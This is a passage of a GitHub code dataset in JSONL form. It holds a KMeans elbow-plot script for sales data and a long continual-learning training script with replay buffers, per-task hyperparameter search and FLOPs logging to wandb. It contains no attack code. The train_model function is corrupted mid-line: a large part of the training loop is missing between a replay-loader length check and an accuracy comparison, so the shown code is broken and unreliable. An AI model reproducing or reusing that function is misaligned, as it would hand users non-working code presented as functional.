35, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 40, "usage_type": "attribute"}]}
{"seq_id": "72110671909", "text": "import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport sklearn.metrics\nimport seaborn as sns\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.cluster import KMeans\nimport os\n\nos.environ['OMP_NUM_THREADS'] = '2'\n\ndata = pd.read_csv('pytorch/data/sales data.csv')\nprint(data.head())\n\ncategorical_features = ['Channel', 'Region']\ncontinuous_features = ['Fresh',  'Milk',  'Grocery',  'Frozen',  'Detergents_Paper',  'Delicassen']\n\nfor col in categorical_features:\n    dummies = pd.get_dummies(data[col], prefix=col)\n    data = pd.concat([data, dummies], axis=1)\n    data.drop(col, axis=1, inplace=True)\nprint(data.head())\n\nmms = MinMaxScaler()\nmms.fit(data)\ndata_transformed = mms.transform(data)\nprint(data_transformed)\n\nsum_of_squared_distances = []\nK = range(1, 15)\nfor k in K:\n    km = KMeans(n_clusters=k)\n    km = km.fit(data_transformed)\n    print(km.labels_)\n    sum_of_squared_distances.append(km.inertia_)\n\n# print(sum_of_squared_distances)\nplt.plot(K, sum_of_squared_distances, 'bx-')\nplt.xlabel('k')\nplt.ylabel('sum_of_squared_distances')\nplt.title('Optimal K')\nplt.show()", "repo_name": "freshmea/chungnam_chatbot", "sub_path": "pytorch/torch15.py", "file_name": "torch15.py", "file_ext": "py", "file_size_in_byte": 1168, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "41827110578", "text": "\nimport copy\nimport os\nimport time\nimport warnings\nfrom collections import defaultdict, namedtuple\nfrom enum import unique\nfrom typing import Callable, Dict, Iterable, List, NamedTuple, Optional, Tuple, Union\nfrom continuum.rehearsal.memory import RehearsalMemory\nfrom continuum.tasks.base import BaseTaskSet\n\nimport numpy as np\nimport torch     \nfrom itertools import cycle\nimport torch.nn.functional as F\nimport torch.multiprocessing as mp\nfrom fvcore.nn import FlopCountAnalysis  \nfrom simple_parsing import ArgumentParser, choice\nfrom torch import nn\nfrom tqdm import tqdm\nfrom torch.utils.data import DataLoader, dataloader\nimport wandb\nfrom continuum.tasks.task_set import TaskSet\nfrom continuum.scenarios import _BaseScenario\nfrom args import ArgsGenerator, ExperimentState\nfrom continuum.tasks import TaskType, concat #, split_train_val\n# from continuum.tasks.base import BaseTaskSet\nfrom continuum.tasks.h5_task_set import H5TaskSet \nfrom dataset_encoder import UsedFlops, estimate_compute_regime, prepare_scenarios\nfrom Models import Classifier_options\nfrom torchvision.transforms.transforms import Compose, ToTensor\nfrom Models.model import (ModelContainer, ModelContainer_ER, TorchModuleWrapper)\nfrom Utils.utils import SumMeter, is_connected, log_wandb, set_seed, split_er_buffer, get_scenario_remapping, preprocess_tensor, Logger, test, FlopsMeter,  prepare_dataloader, split_train_val, prepare_balanced_train_loader, prepare_randombuffer_train_loader, convert_to_task_set, TinyDB_hp_tracker\nimport logging\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n#used_flops_tuple=namedtuple(\"ResultTuple\",['total_gigaflops_fw','total_gigaflops_bw','total_gigaflops','total_gigaflops_fw_es','total_gigaflops_bw_es', 'total_gigaflops_es','walltime_task','total_flops_fw_epoch', 'total_flops_bw_epoch', 'walltime_epoch'])\nloss_function = nn.CrossEntropyLoss()\n\ndef init_flops_meters()-> Tuple[FlopsMeter,FlopsMeter]:   \n    flopws_meter_pertask_cv = FlopsMeter(['Gigaflops_sofar_fw(including_pt_cv)','Gigaflops_sofar_bw(including_pt_cv)','Gigaflops_sofar(including_pt_cv)',\n                                        'Gigaflops_sofar_fw_erlst(including_pt_cv)', 'Gigaflops_sofar_bw_erlst(including_pt_cv)', 'Gigaflops_sofar_erlst(including_pt_cv)', 'walltime_task(including_pt_cv)'])\n    flopws_meter_optimal_params = FlopsMeter(['Gigaflops_sofar_fw','Gigaflops_sofar_bw','Gigaflops_sofar',\n                                        'Gigaflops_sofar_fw_erlst', 'Gigaflops_sofar_bw_erlst', 'Gigaflops_sofar_erlst', 'walltime_task'])\n    return flopws_meter_pertask_cv, flopws_meter_optimal_params\n\ndef train_sklearn_classifier(model, task_id, train_loader, test_loaders, flops_meters:FlopsMeter):\n    if isinstance(model.classifiers, Iterable):\n            model_logreg = model.classifiers[task_id]\n    else:\n        model_logreg = model.classifiers              \n    #collect data\n    x_train=[]\n    y_train=[]\n    x_test=[]\n    y_test=[]\n    for x,y,_ in train_loader: \n        x,y=preprocess_tensor(model,x,y)\n        x_train.append(x)\n        y_train.append(y)\n    for x,y,_ in test_loaders[-1]:\n        x,y=preprocess_tensor(model,x,y)\n        x_test.append(x)\n        y_test.append(y)\n    x_train,y_train=torch.cat(x_train).squeeze().cpu().numpy(),torch.cat(y_train).cpu().numpy()\n    x_test,y_test=torch.cat(x_test).squeeze().cpu().numpy(),torch.cat(y_test).cpu().numpy()\n    #this throws an error somehow\n    # x_train, y_train, _ = train_loader.dataset.get_raw_samples()\n    # x_test, y_test, _ = test_loaders[-1].get_raw_samples()\n    model_logreg.fit(x_train,y_train)\n    # Evaluate using the logistic regression classifier\n    predictions = model_logreg.predict(x_test)\n    accuracy_valid = np.mean((y_test == predictions).astype(float)) #* 100.\n    print(f\"Accuracy = {accuracy_valid:.3f}\")\n    # result=used_flops_tuple(*[v for v in flops_meters.value().values()],0,0)\n    return model, accuracy_valid, None\n\ndef train_model(model_container:ModelContainer_ER,  args:ArgsGenerator, model_name:str, task_id:int, model:TorchModuleWrapper, train_loader:DataLoader, val_loader:DataLoader, train_loaders:List[DataLoader]=None, test_loaders:List=None, lr_anneal=None, epochs=None):\n    #task level cross validation\n    if lr_anneal is None:\n        lr_anneal=model_container.args.lr_anneal\n    best_valid_acc=0.\n    best_model= None   \n    n_epochs_without_improvement = 0\n    early_stopped = 0\n    flops_meters = FlopsMeter(['flops_task_forward','flops_task_backward', 'flops_task', 'flops_task_forward_es', 'flops_task_backward_es', 'flops_task_es'])\n    flops_per_epoch_fw=0\n    flops_per_epoch_bw=0\n    time_per_batch = None\n\n    if model_container.args.classifier_type in ['logistic_regression', 'random_forrest', 'knn']:\n        return train_sklearn_classifier(model, task_id, train_loader, test_loaders, flops_meters)\n    else:\n        if epochs is None:  \n            epochs = args.epochs\n        convergence_epoch=epochs\n        best_model_epoch=epochs\n        flops_per_batch_fw=defaultdict(lambda: None)\n        flops_per_batch_bw=defaultdict(lambda:None)\n        lr_scheduler=None\n        if model.optimizer is not None:     \n            for pg_i, param_group in enumerate(model.optimizer.param_groups): \n                param_group[\"lr\"] = model.lr\n            lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(model.optimizer, T_max=args.epochs)\n\n        if model.optimizer is None:\n            epochs = 1        \n              \n        len_train_loader=len(train_loader) \n        _train_loader=train_loader\n        for e in range(epochs):\n\n            if args.er_buffer_type=='balanced_batch' and task_id>0 and args.er_size_per_class>0:\n                buffer_train=model_container.replay_buffer\n                if isinstance(buffer_train, RehearsalMemory):\n                    mem_x, mem_y, mem_t = buffer_train.get()\n                elif isinstance(buffer_train, BaseTaskSet): \n                    mem_x, mem_y, mem_t = buffer_train.get_raw_samples()\n                if isinstance(mem_x[0], str):\n                    args.tasktype=TaskType.IMAGE_PATH\n\n                train_taskset=_train_loader.dataset\n                replay_taskset = TaskSet(x=mem_x, y=mem_y, t=mem_t, target_trsf=train_taskset.target_trsf, trsf=train_taskset.trsf, data_type=args.tasktype)\n                replay_dataloader = prepare_dataloader(args, replay_taskset, val_split=0, num_workers=2, shuffle=True)[0]\n                def ziped_iterator(loader_1, loader_2):\n                    for x_1, y_1, t_1 in loader_1:\n                        x_2, y_2, t_2 = next(iter(loader_2))\n                        x_2=x_2.squeeze()\n                        x=torch.cat([x_1, x_2])\n                        y=torch.cat([y_1, y_2])\n                        t=torch.cat([t_1, t_2])\n                        idx = torch.randperm(len(y))\n                        x,y,t=x[idx],y[idx],t[idx]\n                        yield x,y,t\n                if len(replay_dataloader)best_valid_acc: \n                    n_epochs_without_improvement=0\n                    best_valid_acc=valid_acc\n                    best_model = model.state_dict()\n                    best_model_epoch=e\n                else:\n                    n_epochs_without_improvement+=1  \n                    if n_epochs_without_improvement>=args.early_stopping_patience and not early_stopped:\n                        early_stopped=1\n                        if args.early_stopping:\n                            break\n                        convergence_epoch=e\n\n        log_wandb({f'convergence_epoch_{task_id}':convergence_epoch})      \n        log_wandb({f'best_model_epoch_{task_id}':best_model_epoch})  \n        if epochs>1 and best_model is not None:\n            # if best_model is None:\n            #     best_model = model.state_dict()\n            model.load_state_dict(best_model)\n        time_per_epoch=0\n        time_per_task=0\n        if time_per_batch is not None: \n            time_per_epoch=time_per_batch*len_train_loader\n            time_per_task=time_per_epoch*epochs\n        else:  \n            time_per_batch=0\n\n        result_compute = UsedFlops(total_flops_bw_epoch=flops_per_epoch_bw,\n                                  total_flops_fw_epoch=flops_per_epoch_fw,\n                                  total_gigaflops=flops_meters.meters['flops_task'].value()[0]/10e9, \n                                  total_gigaflops_bw=flops_meters.meters['flops_task_backward'].value()[0]/10e9,\n                                  total_gigaflops_fw=flops_meters.meters['flops_task_forward'].value()[0]/10e9,\n                                  total_gigaflops_es=flops_meters.meters['flops_task_es'].value()[0]/10e9, \n                                  total_gigaflops_bw_es=flops_meters.meters['flops_task_backward_es'].value()[0]/10e9, \n                                  total_gigaflops_fw_es=flops_meters.meters['flops_task_forward_es'].value()[0]/10e9, \n                                  walltime_epoch=time_per_epoch,\n                                  walltime_task=time_per_task)            \n        return model, best_valid_acc, result_compute\n\ndef learn_task(model_container:ModelContainer_ER, args:ArgsGenerator, model_name:str, task_id:int, train_loader:DataLoader, val_loader:DataLoader,  train_loaders:List[DataLoader]=None, test_loaders:List[DataLoader]=None, params_table:wandb.Table=None, world_size=None):\n    # model=model_container.model\n    best_valid_acc=0\n    best_model = None  \n    best_result_flops = None\n    best_args_model, best_args_classifier = None, None \n    #iterate over agruments to validate for per task cross validation\n    for cv_run_idx, (args_model, args_classifier, model) in enumerate(model_container.get_model_for_training(task_id)):\n        print(f'testing with arguments {args_model} and classifier arguments {args_classifier}')\n        if args_model is not None:\n            lr_anneal=args_model.lr_anneal\n        else:\n            lr_anneal = model_container.args.lr_anneal\n        #task evel cross validation\n        if args.schedule == 'classifier+normal':\n            #first trin the classifier and then the feature encoder\n            assert args.regime != 'latent_ER'\n            #fix feature extractor and finetuen only classifier\n            model.freeze_feature_extractor()\n            model, valid_acc,result_flops = train_model(model_container, args, model_name, task_id, model, train_loader, val_loader, train_loaders, test_loaders, lr_anneal=lr_anneal)\n            #finetune both     \n            model.freeze_feature_extractor(False)\n            model, valid_acc,result_flops = train_model(model_container, args, model_name, task_id, model, train_loader, val_loader, train_loaders, test_loaders, lr_anneal=lr_anneal)\n        else:\n            if args.n_epochs_task_level_cv is not None and args.task_level_cv and not (args.keep_best_params_after_first_task and task_id>0) :\n                epochs=args.n_epochs_task_level_cv\n            else:\n                epochs=None\n            if args.finetuning_only_norms:\n                model.freeze_feature_extractor()\n                model.unfreeze_bn()  \n                if model_container.args.encoder_name=='ViT-B/16':\n                    if args.unfreeze_input_layer:\n                        model.unfreeze_first()    \n            if model_container.args.encoder_name=='ViT-B/16' and args.freeze_vit_untill_layer is not None:\n                model.freeze_vit_untill_layer(args.freeze_vit_untill_layer)\n            model, valid_acc, result_flops = train_model(model_container, args, model_name, task_id, model, train_loader, val_loader, train_loaders, test_loaders, epochs=epochs, lr_anneal=lr_anneal)\n\n        flopws_meter_pertask_cv.add([result_flops.total_gigaflops_fw, result_flops.total_gigaflops_bw, result_flops.total_gigaflops, result_flops.total_gigaflops_fw_es,\n                                     result_flops.total_gigaflops_bw_es, result_flops.total_gigaflops_es, result_flops.walltime_task])#[:7])\n        flopws_meter_pertask_cv.log_flops(task_id)\n\n        if valid_acc>=best_valid_acc:\n            best_result_flops=result_flops\n            best_model = model.create_checkpoint()        \n            best_args_model, best_args_classifier = args_model, args_classifier\n            best_valid_acc=valid_acc\n\n    if model_container.args.classifier_type in ['slda', 'nmc']:\n        return model\n\n    if best_args_model is None:        \n        best_result_flops=result_flops \n        best_model = model.create_checkpoint()      \n        best_args_model, best_args_classifier = args_model, args_classifier\n        best_valid_acc=valid_acc\n\n    model_container.reset_args(best_args_model, best_args_classifier)\n\n    if args.n_epochs_task_level_cv is not None and args.task_level_cv and not (args.keep_best_params_after_first_task and task_id>0):\n        #train for total epochs with best hps\n        model, _ = model_container.create_model(best_args_model, best_args_classifier)\n        model.load_state_dict(model_container.model.state_dict())\n        if args.regime==\"latent_ER\" and model_container.args.classifier_type=='clip_0_shot':\n            model.feature_extractor=nn.Identity()\n        model.set_optimizer()\n        model, best_valid_acc, result_flops = train_model(model_container, args, model_name, task_id, model, train_loader, val_loader, train_loaders, test_loaders)\n        best_result_flops=result_flops  \n        best_model = model.create_checkpoint()\n        flopws_meter_pertask_cv.add([best_result_flops.total_gigaflops_fw, best_result_flops.total_gigaflops_bw, best_result_flops.total_gigaflops, best_result_flops.total_gigaflops_fw_es,\n                                     best_result_flops.total_gigaflops_bw_es, best_result_flops.total_gigaflops_es, best_result_flops.walltime_task])\n        flopws_meter_pertask_cv.log_flops(task_id)\n\n    # if best_args_model is not None: \n    print(f\"selected arguments model task {task_id}\", best_args_model)      \n    # if best_args_classifier is not None:\n    print(f\"selected arguments classifier task {task_id}\", best_args_classifier) \n    # if params_table is not None:\n    params_table.add_data(str(task_id), str(best_args_model), str(best_args_classifier))   \n\n    #save best parameters to hp database\n    if args.use_hp_database and args.task_level_cv:  \n        if task_id==0 and args.keep_best_params_after_first_task:\n            hp_db.log_into_hp_ds(args_global,best_args_model,best_args_classifier)\n\n    if best_result_flops is not None:     \n        ###log flops (wandb does the accumulation)###      \n        for n,v in best_result_flops.__dict__.items():\n            log_wandb({f'compute/{n}':v})\n        #############################################    \n        flopws_meter_optimal_params.add([best_result_flops.total_gigaflops_fw, best_result_flops.total_gigaflops_bw, best_result_flops.total_gigaflops, best_result_flops.total_gigaflops_fw_es,\n                                        best_result_flops.total_gigaflops_bw_es, best_result_flops.total_gigaflops_es, best_result_flops.walltime_task])\n        flopws_meter_optimal_params.log_flops(task_id)\n        #log per epoch walltime and per epoch compute\n        log_wandb({f'compute/walltime_task_t{task_id}':best_result_flops.walltime_task})\n        log_wandb({f'compute/walltime_per_epoch_t{task_id}':best_result_flops.walltime_epoch})\n        log_wandb({f'compute/flops_per_epoch_t{task_id}': best_result_flops.total_flops_fw_epoch+best_result_flops.total_flops_bw_epoch})\n\n    model_container.init_model()\n    if best_model is None:   \n        best_model = model.create_checkpoint()  \n    model_container.model.train()\n    model_container.model.load_checkpoint(best_model)\n    model_container.model.set_optimizer()\n\n    if model_container.args.classifier_type in ['slda', 'nmc']:\n        #mnake sure slda and nmc properly store their state dicts  \n        accuracy=test(model_container, task_id, val_loader, args=args, rank=args.device)\n        if not best_valid_acc==accuracy:\n            #temporal strange fix for the problem\n            model_container.model.load_checkpoint(best_model)\n            accuracy=test(model_container, task_id, val_loader, args=args, rank=args.device)\n        assert best_valid_acc==accuracy \n        # problem with SLDA after second task or so:\n        # best_model = model.create_checkpoint()\n        # model_container.model.load_checkpoint(best_model)\n        # assert test(model, task_id, val_loader, args=args, rank=args.device)==test(model_container, task_id, val_loader, args=args, rank=args.device)\n    return model_container.model\n\ndef prepare_model_and_scenario(args:ArgsGenerator,args_model:ModelContainer_ER.Options,args_classifier)->Tuple[ModelContainer,_BaseScenario,_BaseScenario]:\n    '''\n    Prepares the model and the scenarios to train on.\n    '''\n    if args.regime=='latent_ER':    \n        scenario, scenario_test = prepare_scenarios(args, args_model)\n        n_classes=[scenario[i].nb_classes for i in range(len(scenario))]  \n        model_container=ModelContainer_ER(args_model, args_global=args, args_classifier=args_classifier, n_classes=n_classes, device=args.device)    \n        model_container.transforms=None\n        model_container.transforms_val=None\n        if not args.encode_with_continuum:   \n            args_model.in_size = int(scenario.dataset[0].shape[-1])\n        model_container.init_model()\n    elif args.regime=='sample_ER':\n        args_model.in_size = int(args.dataset.dataset_info.size[-1])\n        model_container=ModelContainer_ER(args_model, args_global=args, args_classifier=args_classifier, n_classes=args.n_classes, device=args.device)  \n        if args_model.flatten_image:\n            args_model.in_size = int(np.prod(args.dataset.dataset_info.size[-1]))\n        model_container.init_model()\n        scenario, scenario_test = prepare_scenarios(args, args_model, transformations=model_container.transforms, transforms_val=model_container.transforms_val)\n        if args.permute_task_order:\n            n_classes=[scenario[i].nb_classes for i in range(len(scenario))]\n            model_container=ModelContainer_ER(args_model, args_global=args, args_classifier=args_classifier, n_classes=n_classes, device=args.device)\n            model_container.init_model()\n        if args.finetuning_only_norms:\n            model_container.model.freeze_feature_extractor()\n            model_container.model.unfreeze_bn()\n            if model_container.args.encoder_name=='ViT-B/16':\n                if args.unfreeze_input_layer:  \n                    model_container.model.unfreeze_first()\n        if model_container.args.encoder_name=='ViT-B/16':\n            if args.freeze_vit_untill_layer is not None: \n                model_container.model.freeze_vit_untill_layer(args.freeze_vit_untill_layer)\n\n        \n    return model_container, scenario, scenario_test\n    \ndef create_per_class_prototypes(x,y,t, n_prototypes_per_class, merge_type='mean', n_samples_per_prototype=None):\n    \"\"\"\n        Calculate prototypes for prototype based replay\n    \"\"\"\n    n=n_prototypes_per_class\n    if merge_type == None:\n        return x,y,t\n    def split_for_prototype(idxs, n, n_samples_per_prototype):  \n        random_state = np.random.RandomState(1)\n        random_state.shuffle(idxs)\n        if n_samples_per_prototype is None:\n            #create possibly equal group sizes\n            groups_size = [len(idxs) // n + (1 if x < len(idxs) % n else 0)  for x in range (n)]\n            #select indicies for group creation without replacement\n            groups = [ idxs[sum(groups_size[:max(0,c)]):sum(groups_size[:c])+groups_size[c]] for c in range(len(groups_size)) ]\n        else:\n            #randomly select indicies fro groups with replacement\n            groups = [random_state.choice(idxs,n_samples_per_prototype, replace=True)]\n        return groups\n    x_, y_, t_ = [],[],[]\n    groups_idxs_per_class = [split_for_prototype(np.where(y==c)[0],n,n_samples_per_prototype) for c in np.unique(y)]\n    for c_idxs in  groups_idxs_per_class:\n        prototypes, label, task = [np.mean(x[i],axis=0) for i in c_idxs], np.concatenate([y[i] for i in c_idxs]), np.concatenate([t[i] for i in c_idxs])\n        assert len(np.unique(label))==1\n        assert len(np.unique(task))==1\n        x_.append(prototypes)\n        y_.append([np.unique(label)[0]]*len(prototypes))\n        t_.append([np.unique(task)[0]]*len(prototypes))\n\n    return np.concatenate(x_), np.concatenate(y_), np.concatenate(t_)\n     \ndef main(args:ArgsGenerator, args_model:ModelContainer_ER.Options, args_classifier, **kwargs):\n    exp_state=ExperimentState()\n    test_loaders_sofar=[]\n    train_loaders_sofar=[]\n    valid_loaders_sofar=[]\n    test_accuracies_past=[]\n    valid_accuracies_past=[]    \n    print(args.device)\n    model_container, scenario, scenario_test = prepare_model_and_scenario(args,args_model,args_classifier)  \n    print(model_container.model)\n    logger=Logger(args,model_container,scenario.nb_tasks)    \n    #wandb table for logging best selected hyperparameters per task\n    best_cvparams_table = logger.best_cvparams_table\n\n    #######\n    # remapping is necessary for permuted order scenarios\n    class_mapping = get_scenario_remapping(scenario)\n    model_container.set_mapping(class_mapping)        \n    for task_id, (train_taskset, test_taskset) in enumerate(zip(scenario, scenario_test)):  \n        #######\n        if args.dataset_name=='MNIST_bckgrndwap':\n            #currently the train_taskset only contains transfroms of the current task, the other ones are None\n            #current task_set should contain transfroms for old tasks as well when all tasks are being replayed (maybe this should be fixed on the continuum side)\n            train_taskset.trsf=[Compose([*scenario.inc_trsf[t],ToTensor()]) for t in range(len(scenario))]\n        ########\n        exp_state.current_task=task_id\n        log_wandb({'task': task_id})            \n                                        \n        if isinstance(train_taskset, H5TaskSet):\n            #using H5TaskSet was taking to long, probably due to reading from hd5 file, \n            # also maybe the issue is the netowrk connection to scratch on mila cluster, maybe putting in into $TEMP(local to the node) should help\n            train_taskset = convert_to_task_set(args,train_taskset)\n            train_taskset, val_taskset, train_idxs = split_train_val(train_taskset, val_split=args.valid_fraction, valid_k=args.valid_k)              \n            if model_container.transforms_val is not None:\n                if isinstance(model_container.transforms_val, List): \n                    transforms_val = Compose(model_container.transforms_val)\n                else:\n                    transforms_val=model_container.transforms_val\n                val_taskset.trsf = transforms_val\n\n        else: \n            train_taskset, val_taskset, train_idxs = split_train_val(train_taskset, val_split=args.valid_fraction, valid_k=args.valid_k) \n            #set validation transfroms instead of training transfroms for val_taskset\n            if model_container.transforms_val is not None:\n                if isinstance(model_container.transforms_val, List):\n                    if not isinstance(model_container.transforms_val[0], List):\n                        transforms_val = Compose(model_container.transforms_val)\n                    else:\n                        transforms_val = Compose(model_container.transforms_val[task_id])\n                else:\n                    transforms_val=model_container.transforms_val\n                val_taskset.trsf = transforms_val\n        #######################################\n        # Task similarity logging               \n        # if args.log_task_similarity and args.regime=='latent_ER':\n        #     logger.log_similarity(train_taskset, task_id)\n        #######################################\n        #for per task hp cv we might want to add some samples from the replay buffer to the validation set\n        if args.fraction_buffer_samples_valid>0 and args.er_size_per_class>0 and task_id>0: \n            buffer_train, buffer_valid = split_er_buffer(model_container.replay_buffer, args.fraction_buffer_samples_valid, data_type=val_taskset.data_type)#TaskType.IMAGE_PATH if args.regime=='sample_ER' else TaskType.TENSOR)\n            #merge buffer_valid into the validation set\n            #will take the transfromations fromt the val_taskset\n            val_taskset_for_hp_tuning = concat([val_taskset,buffer_valid])\n        else:\n            buffer_train=model_container.replay_buffer\n            val_taskset_for_hp_tuning=val_taskset\n                        \n        ########################################\n        #handle random replay buffer\n        if args.er_size_per_class>0 and task_id > 0:  \n            if args.er_buffer_type=='random':                    \n                train_loader=prepare_randombuffer_train_loader(args, train_taskset=train_taskset, buffer_train=buffer_train)\n            elif args.er_buffer_type=='balanced':\n                train_loader=prepare_balanced_train_loader(args, buffer_train, current_task_set=train_taskset)\n            # elif args.er_buffer_type=='balanced_batch':\n            #     train_loader=prepare_balanced_batch_train_loader(args, buffer_train, train_taskset)\n            else:\n                train_loader,_=prepare_dataloader(args, train_taskset, val_split=0., num_workers=2, shuffle=True) \n        else:\n            train_loader,_=prepare_dataloader(args, train_taskset, val_split=0., num_workers=2, shuffle=True) \n        ########################################\n\n        val_loader,_=prepare_dataloader(args, val_taskset, num_workers=2, val_split=0.)         \n        val_loader_hp_tuning,_=prepare_dataloader(args, val_taskset_for_hp_tuning, num_workers=2, val_split=0.)\n        test_loader,_=prepare_dataloader(args, test_taskset, num_workers=2, val_split=0.)\n        test_loaders_sofar.append(test_loader)\n        train_loaders_sofar.append(train_loader)\n        valid_loaders_sofar.append(val_loader)\n        model_container.ready_for_new_task(task_id=task_id, new_classes=scenario[task_id].get_classes(), expand_single_head=args.dataset_name!='MNIST_bckgrndwap')\n        if args.debug:\n            print(model_container)\n        if args.concat_validation_sets:    \n            val_taskset_for_hp_tuning = concat([loader.dataset for loader in valid_loaders_sofar])\n            val_loader_hp_tuning,_=prepare_dataloader(args, val_taskset_for_hp_tuning, num_workers=2, val_split=0.)\n        if args.concat_test_sets:  \n            test_taskset = concat([loader.dataset for loader in test_loaders_sofar])    \n            test_loader,_=prepare_dataloader(args, val_taskset_for_hp_tuning, num_workers=2, val_split=0.)\n        model_container.model = learn_task(model_container, args, model_container.args.encoder_name, task_id, train_loader, val_loader_hp_tuning, train_loaders_sofar, test_loaders_sofar, params_table=best_cvparams_table)\n        test_acc =  test(model_container, task_id, test_loader, args=args, rank=args.device)  \n        valid_acc =  test(model_container, task_id, val_loader, args=args, rank=args.device)\n        valid_acc_hp_tuning_set =  test(model_container, task_id, val_loader_hp_tuning, args=args, rank=args.device)\n        log_wandb({\"test_acc_online\":test_acc}, step=('task', task_id))#, prefix='test/')\n        log_wandb({\"valid_acc_online\":valid_acc}, step=('task', task_id))#, prefix='test/')\n        log_wandb({\"valid_acc_online(hp_tuning)\":valid_acc_hp_tuning_set}, step=('task', task_id))#, prefix='test/')\n        log_wandb({f\"test_acc_best_t{task_id}\":test_acc}, step=('task', task_id))#, prefix='test/')\n        log_wandb({f\"valid_acc_best_t{task_id}\":valid_acc}, step=('task', task_id))#, prefix='test/')\n        test_accuracies_past.append(test_acc)\n        valid_accuracies_past.append(valid_acc)\n        #add to replay buffer\n        if args.er_size_per_class>0:\n            x,y,t = scenario[task_id].get_raw_samples()\n            if len(y.shape)>1:\n                y=y[0]\n                t=t[0]\n            #only add samples from train set (train_idxs), not the validation set to the replay buffer\n            x,y,t = x[train_idxs],y[train_idxs],t[train_idxs]\n            print(len(train_idxs))\n            if args.er_with_prototypes:\n                #create er_size_per_class prototypes\n                if args.size_of_random_prototype_factor is not None:\n                    size_of_random_prototype = int(np.mean(np.bincount(scenario[task_id]._y))/args.er_size_per_class)\n                    size_of_random_prototype*=args.size_of_random_prototype_factor\n                    size_of_random_prototype=int(size_of_random_prototype)\n                else:\n                    size_of_random_prototype=None\n                x,y,t = create_per_class_prototypes(x,y,t, n_prototypes_per_class=args.er_size_per_class, n_samples_per_prototype=size_of_random_prototype)\n            model_container.add_to_buffer((x,y,t))                 \n        logger.log_results(args,task_id,model_container,test_loaders_sofar,valid_loaders_sofar,test_accuracies_past,valid_accuracies_past,best_cvparams_table)\n        if args.stop_after_first_task and task_id==0:\n            break\n        if args.reinit_between_tasks:\n            model_container.reinit_model()\n        if args_global.save_final_model:\n            ckpt_name=f'{model_container.args.encoder_name.replace(\"/\",\"_\")}_trained_{args_global.dataset_name}_task{task_id}_{args_global.n_tasks}tasks_er_size_{args_global.er_size_per_class}'\n            if args_model.checkpoint is not None:\n                ckpt_name+=args_model.checkpoint\n            torch.save({\n                'model_state_dict': model_container.model.state_dict(),     \n            }, args_global.weights_path+f'/{ckpt_name}.ckpt')\n        \n        \n    flopws_meter_pertask_cv.log_flops()\n    flopws_meter_optimal_params.log_flops()\n    logger.close()\n\nif __name__== \"__main__\":  \n    parser = ArgumentParser()     \n    parser.add_arguments(ArgsGenerator, dest=\"Global\")\n    parser.add_arguments(ModelContainer.Options, dest=\"Model\")\n    parser.add_arguments(Classifier_options, dest=\"Classifier\")\n    args = parser.parse_args()\n    args_global:ArgsGenerator = args.Global \n    args_model = args.Model\n    if args_model.classifier_type=='fc': \n        args_classifier = args.Classifier.CLS_NN\n    elif args_model.classifier_type=='logistic_regression':\n        args_classifier = args.Classifier.CLS_LogReg\n    elif args_model.classifier_type=='BiT_classifier':\n        args_classifier = args.Classifier.CLS_BiT\n    elif args_model.classifier_type=='random_forrest':\n        args_classifier = args.Classifier.CLS_RF\n    elif args_model.classifier_type=='clip_0_shot':\n        args_classifier = args.Classifier.CLP_0\n    elif args_model.classifier_type == 'knn':\n        args_classifier = args.Classifier.CLS_KNN\n    elif args_model.classifier_type == 'weightnorm':\n        args_classifier = args.Classifier.CLS_WeightNorm\n    elif args_model.classifier_type == 'slda':\n        args_classifier = args.Classifier.CLS_SLDA\n    elif args_model.classifier_type == 'nmc':\n        args_classifier = args.Classifier.CLS_NMC\n        args_global.device = 'cpu'\n    else:\n        args_classifier=None  \n    \n    wandb_project = args_global.wandb_project if not args_global.debug else 'test'\n    if args_global.group_name=='':\n        args_global.group_name = wandb.util.generate_id()\n    # assert is_connected()#:\n    if not is_connected():\n        print('no internet connection. Going in dry')\n        # os.environ['WANDB_MODE'] = 'dryrun'\n        wandb_mode=\"offline\"\n    else:\n        wandb_mode=None\n    \n    def start_experiment(run):                             \n        wandb.config.update(args_global, allow_val_change=True)  \n        wandb.config.update(args_model, allow_val_change=True)\n        if args_classifier is not None:\n            wandb.config.update(args_classifier, allow_val_change=True)                   \n        main(args_global, args_model, args_classifier, world_size=torch.cuda.device_count())\n        run.finish()\n\n    key=f'{args_global.md5}_{args_model.md5}_{args_classifier.md5}'\n    #databse for hyperparameter saving: hp dataset is job specific\n    if args_global.use_hp_database:\n        if 'SLURM_TMPDIR' in os.environ:     \n            args_global.hp_db_path = os.environ.get('SLURM_TMPDIR') \n        hp_db = 